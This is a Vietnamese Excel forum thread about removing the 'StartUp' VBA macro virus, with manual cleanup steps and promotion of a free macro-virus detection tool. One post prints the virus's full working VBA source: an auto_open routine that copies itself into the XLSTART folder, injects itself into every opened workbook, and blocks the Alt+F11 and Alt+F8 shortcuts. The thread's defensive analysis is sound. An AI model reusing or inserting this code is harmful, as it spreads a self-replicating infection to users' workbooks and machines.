Làm sao Xóa được file VBAProject(StarrtUp.xls) (1 người xem)

Người dùng đang xem chủ đề này

hophoang

Thành viên tiêu biểu
Tham gia
23/6/11
Bài viết
719
Được thích
628
Nghề nghiệp
KToan Kho
Mấy hôm vừa qua mình có tải trên diễn đàn GPE về một file VBAProject(StarrtUp.xls) nhưng hôm nay mở ra máy báo có vi rut.Mình tìm nó để xóa nhưng không thấy nó nằm ở đâu.Khi visual thì thấy nó
Vậy làm sao mình xóa nó.xin anh chị giúp đỡ xin cám ơn!
 
Bạn đã tải file nào từ GPE, gửi lại lên mọi người xem thử rồi mới biết mà xử.
 
Dùng BKAV chọn chế độ diệt Macro, sẽ tiêu hết các loại VBA (cả trong file excel và add-ins)
 
Đừng nghĩ BKAV sử lý được chuyện này, BKAV đã trả giá cho việc xoá Macro trong file .XLS rồi nên giờ cũng rất cẩn trọng. Cụ thể Mình dùng Bkav Pro mà chẳng có tác dụng gì. Thường thì nó có thể phát hiện ra dạng VR Macro4 nhưng dạng code này thì nó chịu sợ nhầm code của User. Còn chấp nhận xóa tất thì khác chi ném chuột vỡ bình đâu?

Việc sử lý bằng tay như sau:
1/ Vào thư mục C:\Documents and Settings\Administrator\Application Data\Microsoft\Excel\XLSTART xoá file StartUp.xls.
2/Mở Excel vào Sercurity thiết lập:

-Sercurity Level: Very High.
-Trusted Publishers: Bỏ hết dấu kiểm.

3/Mở file bị dính Code. Nếu có hỏi gì thì đóng lại đừng OK. Mặc dù vậy nó vẫn tự động thiết lập lại Trusted Publishers
Vào VBA xoá Module StartUp trong file làm việc. Nếu trong Explore có StartUp Project thì chắc chắn nó đã cài được lại StartUp.xls trong thư mục nêu mục 1. Bạn nháy mở Module của nó và Remove toàn bộ các Code. Giờ ta giữ nguyên thằng này làm chương trình lầm tưởng là đã có File trong khi nó bị sạch code.
4/Giờ thoát Excel: Nó hỏi ta đồng ý lưu cả file ta mở và file StartUp.xls.
5/Ta xác định những file làm việc gần đây mở nó và xoá Code.
6/Thiết lập lại môi trường Excel

Đây là cách sử lý theo kinh nghiệm của mình khi sử lý file của 1 bạn trên GPE. Đồng thời các bạn nên kiểm tra trước khi gửi file tránh rắc rối cho mọi người.
 
Lần chỉnh sửa cuối:
Mấy hôm vừa qua mình có tải trên diễn đàn GPE về một file VBAProject(StarrtUp.xls) nhưng hôm nay mở ra máy báo có vi rut.Mình tìm nó để xóa nhưng không thấy nó nằm ở đâu.Khi visual thì thấy nó
Vậy làm sao mình xóa nó.xin anh chị giúp đỡ xin cám ơn!
Bạn tải cái này về diệt đi là hết liền àh.
 
s9.jpg
Cái này không quét không hết rồi bạn ơi.mình vừa thử xong
Cám ơn bạn nha
...........................................................................
Cho hỏi bạn ở gần thầy Ba tê không
 
View attachment 75666
Cái này không quét không hết rồi bạn ơi.mình vừa thử xong
Cám ơn bạn nha
...........................................................................
Cho hỏi bạn ở gần thầy Ba tê không
Mình thì thường dùng cái ấy để diệt thì OK, nếu vậy bạn dùng chương trình của Bác Nguyễn Duy Tuân đi, có xóa luôn các Name. Cảm ơn Bác Nguyễn Duy Tuân.
 
Mình thì thường dùng cái ấy để diệt thì OK, nếu vậy bạn dùng chương trình của Bác Nguyễn Duy Tuân đi, có xóa luôn các Name. Cảm ơn Bác Nguyễn Duy Tuân.
Có lẽ các bạn chưa hiểu con virus StartUp là cái gì? Nó có phải là Macro 4 đâu mà diệt!
Con StartUp này được viết bằng code VBA bình thường, làm sao các chương trình diệt virus phát hiện được (ý tôi muốn nói làm sao chương trình diệt virus biết đấy là virus mà không phải là code do các bạn tự viết ra)
Cho nên: Phải biết mình biết ta, phải biết "nó" là cái gì thì mới diệt được (giống anh sealand đã làm ấy)... không phải cứ có tool mạnh là an toàn đâu
(con này tôi bị dính vài lần rồi ... nó đúng là con virus "tào lao" nhất mà tôi từng gặp)
 
Lần chỉnh sửa cuối:
Có lẽ các bạn chưa hiểu con virus StartUp là cái gì? Nó có phải là Macro 4 đâu mà diệt!
Con StartUp này được viết bằng code VBA bình thường, làm sao các chương trình diệt virus phát hiện được (ý tôi muốn nói làm sao chương trình diệt virus biết đấy là virus mà không phải là code do các bạn tự viết ra)
Cho nên: Phải biết mình biết ta, phải biết "nó" là cái gì thì mới diệt được (giống anh sealand đã làm ấy)... không phải cứ có tool mạnh là an toàn đâu
(con này tôi bị dính vài lần rồi ... nó đúng là con virus "tào lao" nhất mà tôi từng gặp)
Tại em thấy con virus đó giống con virus ở bài 7 này mà em dùng chương trình đó diệt hết đó sư phụ.
 
Đây là code trong Module StartUp.xls. Các bạn tham khảo và hiểu cách nó gây sự:

Mã:
Sub auto_open()
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
Application.ScreenUpdating = False
ThisWorkbook.Sheets("StartUp").Copy
ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
n$ = ActiveWorkbook.Name
ActiveWindow.Visible = False
Workbooks("StartUp.xls").Save
Workbooks(n$).Close (False)
End If
Application.OnSheetActivate = "StartUp.xls!cop"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub
'====================================
Sub cop()
On Error Resume Next
If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
Application.ScreenUpdating = False
n$ = ActiveSheet.Name
Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
Sheets(n$).Select
End If
End Sub
'====================================
Sub back()
On Error Resume Next
Application.OnKey "%{F8}", "StartUp.xls!escape"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnSheetActivate = "StartUp.xls!cop"
Application.OnTime Now + TimeValue("00:00:01"), "StartUp.xls!cop"
Workbooks.Open Application.StartupPath & "\StartUp.xls"
End Sub

Trong file Startup.xls có 1 Module này. Khi mở file *.xls nó sẽ chép Module này vào. Khi mở lần sau ở máy khác không có file StartUp.xls thì nó lại tạo ra. Vậy là lại dính sang 1 máy mới.
 
Lần chỉnh sửa cuối:
Tại em thấy con virus đó giống con virus ở bài 7 này mà em dùng chương trình đó diệt hết đó sư phụ.
Nói thật, tôi không hề tin rằng có tool nào diệt được con này, ngoại trừ trường hợp: Tool ấy "nhắm" vào cái tên StartUp của module, hoặc giả tool ấy dò tìm đoạn code nào đó, nếu giống với thư viện lưu trử thì coi như nó là virus
Hic... E rằng không ổn!
----------
Dù sao thì cũng yên tâm: Nếu virus viết bằng XL4 mới sợ, còn viết bằng VBA thì chỉ có thể xem như 1 trò đùa hơi quá mà thôi
Ẹc... Ẹc...
------------
Trong file Startup.xls có 1 Module này. Khi mở file *.xls nó sẽ chép Module này vào. Khi mở lần sau ở máy khác không có file StartUp.xls thì nó lại tạo ra. Vậy là lại dính sang 1 máy mới.
Ngoài ra nó còn "cấm" tổ hợp phím Alt + F11 nữa đấy
 
Lần chỉnh sửa cuối:
Đây là code trong Module StartUp.xls. Các bạn tham khảo và hiểu cách nó gây sự:
Trong file Startup.xls có 1 Module này. Khi mở file *.xls nó sẽ chép Module này vào. Khi mở lần sau ở máy khác không có file StartUp.xls thì nó lại tạo ra. Vậy là lại dính sang 1 máy mới.
Đúng là như thế đó bác.Thông thường em hay tải bài trên diễn đàn về vào USB.lúc trưa em sang máy kế bên em mở thử thì nó lại có luôn.
Tiện đây em xin có ý kiến.các bạn viết bài nên xem kỹ rồi hãy đưa lên diễn đàn.đừng để con đó làm thêm rắc rối cho mọi người
 
Đúng là như thế đó bác.Thông thường em hay tải bài trên diễn đàn về vào USB.lúc trưa em sang máy kế bên em mở thử thì nó lại có luôn.
Tiện đây em xin có ý kiến.các bạn viết bài nên xem kỹ rồi hãy đưa lên diễn đàn.đừng để con đó làm thêm rắc rối cho mọi người
Cũng khó nói lắm... Có khi người ta bị dính mà không hề biết
Còn chúng ta, nếu cẩn thận, tốt nhất khi mở file đừng Enable macros ---> Kiểm tra code trong cửa sổ VBA, sau đó hẳn Enable macros cũng không muộn
Còn giả sử như lở tay Enable Macros và bị dính thì cũng đâu có sao... Nó chỉ là VBA code, xóa nó quá dễ dàng
 
Cũng khó nói lắm... Có khi người ta bị dính mà không hề biết
Còn giả sử như lở tay Enable Macros và bị dính thì cũng đâu có sao... Nó chỉ là VBA code, xóa nó quá dễ dàng
Ở #8 là một cách xóa ngoài ra bác còn cách nào nữa vậy? cho em và mọi người luôn thể.
 
Ở #8 là một cách xóa ngoài ra bác còn cách nào nữa vậy? cho em và mọi người luôn thể.
Chỉ có cách đó thôi! Thao tác gồm 2 công đoạn:
- Xóa file StartUp.xls trong thư mục XLSTART
- Xóa module StartUp trong file đang mở
Cái rẹt là xong trong vòng 30s thôi mà
Ẹc... Ẹc...
 
Em đang gửi file của bác sealad xuất hiện con này !
 

File đính kèm

VirusMacroWarning

Cơ chế hoạt động

+ Phát hiện và thông báo các file chạy tự động cùng Excel

FilesWarning.jpg

Theo cơ chế hoạt động của virus macro, các file làm lây lan thường được chạy ngay ban đầu khi Excel khởi động.

VirusMacroWarning phát hiện và thông báo cho người dùng xử lý, có thể chuyển sang nơi khác hoặc xóa đi.

+ Tự động kiểm tra khi mở file trong file Excel (workbook) có các sheet macro. Cơ chế viết virus macro, các mã lệnh được lập trong một sheet có kiểu macro, ví dụ như loại virus "Virus.MSExcel.Yagnuul.d" được viết trong sheet macro có tên "Helpme".

MacroSheetWarning.jpg

Hệ thống kiểm tra virus macro, nếu phát hiện có "hiện tượng" sẽ thông báo cho người dùng để quyết định xóa những sheet được nghi là virus.

+ Tự động phát hiện các Name bị lỗi, thông báo cho người dùng để quyết định việc xoá.

nameserrwarning.jpg

Hiện nay có nhiều phần mềm nổi tiếng về diệt virus như Symantec, BitDefender, McAfee,Bkav, D32,...

Trong các file dữ liệu của hệ Office (đặc biệt là Excel) cho phép người dùng lập trình (viết các macro) trong file, với cơ chết viết virus macro cách thức cũng gần như vậy. Khi dùng các PM diệt virus nói trên, nếu lựa chọn chế độ "diệt virus macro" nhiều khi các PM có sự nhầm lẫn diệt luôn cả những file có macro"chuẩn" của bạn.

Phần mềm diệt virus macro VirusMacroWarning chặn sự hoạt động của virus ngay khi Excel được mở ra. Những file virus tạo ra thường nằm trong thư mục STARTUP khi đó sẽ bị pm VirusMacroWarning lôi ra để thông báo người dùng lựa chọn xoá luôn hay chuyển chúng đi nơi khác. Ngoài ra VirusMacroWarning xoá được nhiều name rác cứng đầu trong các file Excel. Nếu máy các bạn cài VirusMacroWarning ngay từ đầu tôi đảm bảo bất kỳ biểu hiện lây lan của virus macro sẽ bị nó chặn và thông báo cho người dùng xử lý.

Một lời khuyên cho những người đang phụ trách hệ thống máy tính của cơ quan, những người không biết về VBA hay chỉ quan tâm diệt nhanh gọn thì hãy dùng công cụ diệt virus macro mạnh, hãy cài chúng để phòng ngừa đừng để mất tài sản rồi mới lo đi xây cổng. Công ty cổ phần BLUESOFTS cung cấp công cụ VirusMacroWarning miễn phí các bạn yên tâm sử dụng. Cái quan trọng cho mọi người là được việc!

DOWNLOAD
 
Lần chỉnh sửa cuối:
VirusMacroWarning

Cơ chế hoạt động

+ Phát hiện và thông báo các file chạy tự động cùng Excel
Việc phát hiện file chạy tự động thì không có vấn đề rồi
Vấn đề ở đây là cho dù có xóa file StartUp.xls thì code virus trong file hiện hành vẫn còn và code này được viết bằng VBA (không phải macro 4). Vậy tool của Tuân làm sao phân biệt được đây là code virus mà không phải là code do người dùng tạo ra?
 
Việc phát hiện file chạy tự động thì không có vấn đề rồi
Vấn đề ở đây là cho dù có xóa file StartUp.xls thì code virus trong file hiện hành vẫn còn và code này được viết bằng VBA (không phải macro 4). Vậy tool của Tuân làm sao phân biệt được đây là code virus mà không phải là code do người dùng tạo ra?

Ý em là nếu dùng VirusMacroWarning ngay từ đầu thì virus sẽ không có cơ hội tạo code vào file của người dùng. Một khi để virus tạo code VBA chen lẫn code của người dùng thì chỉ có người dùng tự delete thôi.
 
Ý em là nếu dùng VirusMacroWarning ngay từ đầu thì virus sẽ không có cơ hội tạo code vào file của người dùng. Một khi để virus tạo code VBA chen lẫn code của người dùng thì chỉ có người dùng tự delete thôi.
Thì vậy! Và nói chung mọi virus (không riêng gì virus macros) đều như vậy cả! Nếu người dùng bảo vệ tốt ngay từ đầu sẽ không có gì để nói cả!
Vấn đề ở đây là có nhiều người "Mất trâu mới lo làm chuồng"... Vậy nên tôi nghĩ Tuân nên nghiên cứu thêm về con StartUp này. Liệu có cần thêm 1 công đoạn dò tìm gì đó trong VBAProject, nếu thấy có sự xuất hiện đoạn code tình nghi thì xóa luôn ---> Mục đích là diệt được virus ngay cả khi file của người dùng đã bị nhiễm rồi
(e rằng phải tốn nhiều công phu à nha)
 

Bài viết mới nhất

Back
Top Bottom